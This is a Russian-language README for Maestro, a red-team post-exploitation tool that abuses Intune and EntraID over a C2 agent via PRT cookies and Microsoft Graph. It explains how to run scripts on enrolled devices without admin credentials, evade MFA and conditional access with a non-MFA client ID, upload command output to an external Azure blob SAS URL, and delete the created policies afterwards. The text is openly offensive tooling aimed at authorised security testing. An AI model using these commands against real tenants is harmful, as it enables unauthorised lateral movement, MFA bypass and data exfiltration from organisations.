
Abusing Azure services over C2
Maestro — это инструмент пост-эксплуатации, предназначенный для взаимодействия с Intune/EntraID из агента C2 на рабочей станции пользователя без необходимости знать пароль пользователя, разбираться в потоках аутентификации Azure, манипуляциях с токенами или веб-консоли администрирования. Maestro значительно упрощает взаимодействие с Intune и EntraID (а также, потенциально, с другими сервисами Azure) через C2: оператору не нужно получать пароль пользователя в открытом виде, извлекать из системы файлы cookie первичного токена обновления (PRT), запускать дополнительные инструменты или сеанс браузера через SOCKS-прокси, а также иметь дело с потоками аутентификации Azure, токенами или политиками условного доступа, чтобы выполнять действия в Azure от имени вошедшего пользователя.
По сути, Maestro — это обёртка для локальных запросов PRT-куки и вызовов Microsoft Graph API с множеством дополнительных удобных функций для специалистов red team. Maestro открывает векторы атак между локальной инфраструктурой (on-prem) и Azure. Например, запустив Maestro на машине Intune-администратора, вы можете выполнять PowerShell-скрипты на любом зарегистрированном устройстве, так и не узнав учётные данные администратора, даже если политики условного доступа требуют MFA, соответствия устройства требованиям и гибридного присоединения к домену.
Функции горизонтального перемещения в Maestro вдохновлены статьёй Death from Above: Lateral Movement from Azure to On-Prem AD Энди Роббинса (@_wald0).
Подробнее можно прочитать во вводном посте в блоге, посвящённом Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
В этом репозитории есть готовый релиз, собранный с конфигурацией ReleasePlusMSAL. Учтите, что эта конфигурация объединяет зависимости MSAL в .exe, но значительно увеличивает размер итогового бинарника. Если вы не планируете использовать метод -m 2 для запроса токенов доступа (SharpGetEntraToken через MSAL), вы можете собрать Release-версию, и её размер будет значительно меньше.
Начиная с февраля 2025 года Microsoft внедряет обязательную MFA для аутентификации на портале Azure и его расширениях. В этом случае стандартный метод запроса токена доступа через поток с кодом авторизации, скорее всего, перестанет работать, но использование SharpGetEntraToken/MSAL (опция -m 2) с указанием идентификатора клиента, не требующего MFA, например Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2), по-прежнему должно работать.
Maestro.exe <command> [subcommand] [options]
У всех команд и подкоманд есть справочная страница, генерируемая с помощью собственного парсера командной строки, чтобы минимально увеличивать размер бинарника. Справку можно вызвать, введя любую команду Maestro с флагом -h или --help.
Актуальную информацию об использовании каждой команды см. в выводе опции --help.
Примеры приведены в конце этого файла.
Для отладки я открываю общий доступ к каталогу на машине, зарегистрированной в Intune, из моего хоста с Visual Studio, запускаю Remote Debugger Visual Studio, настраиваю задачу после сборки для копирования файлов решения в общую папку и настраиваю Visual Studio для удалённой отладки на зарегистрированной системе.
Время, которое я могу уделять исследованиям, разработке и улучшению Maestro, было бы невозможным без спонсорской поддержки SpecterOps в рамках их приверженности прозрачности и поддержке open-source разработки. Я безмерно благодарен за их руководство и поддержку.
Некоторые возможности Maestro были вдохновлены или созданы на основе работ других авторов, в том числе:
Если вам интересно сотрудничество, пишите мне в Twitter (@_Mayyhem) или в Slack-сообщество BloodHoundGang!
Получите токен доступа для MS Graph с помощью MSAL и идентификатора клиента Azure PowerShell (пока не блокируется обязательной MFA):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
Выполните dsregcmd.exe на устройстве Intune с идентификатором e537180b-6d04-427e-bf93-dbde818400eb и загрузите результаты в контейнер Azure Storage Blob по SAS-URL с общим токеном доступа:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902